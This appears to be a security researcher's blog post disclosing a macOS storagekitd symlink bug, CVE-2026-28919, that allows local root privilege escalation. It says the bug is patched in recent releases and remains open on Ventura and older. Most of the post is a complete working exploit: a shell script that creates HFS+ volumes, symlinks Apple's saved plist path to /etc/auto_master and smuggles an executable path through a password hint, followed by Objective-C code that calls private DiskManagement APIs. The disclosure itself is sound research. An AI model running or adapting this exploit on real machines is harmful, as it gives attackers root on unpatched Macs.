amy's website

github / fedi / email

StorageKit bug 3

In a diskutil apfs convert bug much like these two, storagekitd followed symlinks when saving a Core Storage encryption plist.

Surprisingly, writing mostly uncontrolled XML could still escalate privileges. I made an HFS+ volume with a link to /etc/auto_master and a password hint of an executable's path. After the file was overwritten, automountd ran the program as root (ignoring other lines in the plist).

I reported the bug in March 2026, and it was fixed in macOS 14.8.7, macOS 15.7.7, and macOS 26.5:

Impact: An app may be able to gain root privileges
Description: A consistency issue was addressed with improved state handling.
CVE-2026-28919: Amy (amys.website)

Ventura and older are still vulnerable.

sample code

Affected versions will (repeatedly) launch root Terminal windows.

whole=$(hdiutil attach -nomount -plist ram://10000000 | plutil -extract system-entities.0.dev-entry raw -)
diskutil partitiondisk $whole gpt jhfs+ evil_cs 1g %Apple_Boot% %noformat% r
newfs_hfs -v evil_boot ${whole}s3
diskutil mount ${whole}s3

clang -fmodules -F /System/Library/PrivateFrameworks -framework DiskManagement -l csfde 'cs caller.m' -o /tmp/cs_caller
/tmp/cs_caller /Volumes/evil_cs correcthorsebatterystaple '
/home /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
'

while [[ $(diskutil cs info -plist evil_cs | plutil -extract CoreStorageLogicalVolumeConversionState raw -) != Complete ]]
do
	sleep 1
done

ln -s /private/etc/auto_master /Volumes/evil_boot/.com.apple.diskmanagement.apfs.convert.SavedEncryptedRootPList
chflags -h uchg /Volumes/evil_boot/.com.apple.diskmanagement.apfs.convert.SavedEncryptedRootPList

diskutil apfs convert evil_cs

ls /home/hello

Since diskutil cs convert was removed in Big Sur, the script uses this code to encrypt the volume. There's probably a better way.

@import Foundation;
@import DiskArbitration;

@interface DMManager:NSObject
+(DMManager*)sharedManager;
-(void)setDefaultDASession:(DASessionRef)session;
-(void)setDelegate:(NSObject*)delegate;
@end
@interface DMCoreStorage:NSObject
-(instancetype)initWithManager:(DMManager*)manager;
-(int)convertDisk:(DADiskRef)disk options:(NSDictionary*)options;
@end
NSString* DMUnlocalizedTechnicalErrorString(int);
NSString* CSFDEStorePassphrase(char*);

@interface AmyDelegate:NSObject
@end

@implementation AmyDelegate

-(void)dmAsyncStartedForDisk:(DADiskRef)disk
{
}

-(void)dmAsyncProgressForDisk:(DADiskRef)disk barberPole:(BOOL)indeterminate percent:(float)percent
{
}

-(void)dmAsyncMessageForDisk:(DADiskRef)disk string:(NSString*)string dictionary:(NSDictionary*)dictionary
{
	NSLog(@"async message %@",string);
}

-(void)dmAsyncFinishedForDisk:(DADiskRef)disk mainError:(int)error detailError:(int)detail dictionary:(NSDictionary*)dictionary
{
	NSLog(@"async finished error %d (%@) detail %d (%@)",error,DMUnlocalizedTechnicalErrorString(error),detail,DMUnlocalizedTechnicalErrorString(detail));
	
	exit(error);
}

@end

int main(int argCount,char** args)
{
	if(argCount!=4)
	{
		NSLog(@"usage: %s <path> <pw> <pw hint>",args[0]);
		return 1;
	}
	
	DMManager* manager=DMManager.sharedManager;
	DASessionRef session=DASessionCreate(NULL);
	assert(manager);
	assert(session);
	
	manager.defaultDASession=session;
	manager.delegate=AmyDelegate.alloc.init;
	
	DADiskRef disk=DADiskCreateFromVolumePath(NULL,session,(CFURLRef)[NSURL fileURLWithPath:@(args[1])]);
	assert(disk);
	
	DMCoreStorage* cs=[DMCoreStorage.alloc initWithManager:manager];
	assert(cs);
	
	int error=[cs convertDisk:disk options:@{
		@"AKSPassphraseUUID":CSFDEStorePassphrase(args[2]),
		@"AKSPassphraseHint":@(args[3])
	}];
	
	NSLog(@"sync error %d (%@)",error,DMUnlocalizedTechnicalErrorString(error));
	
	if(error)
	{
		return error;
	}
	
	CFRunLoopRun();
}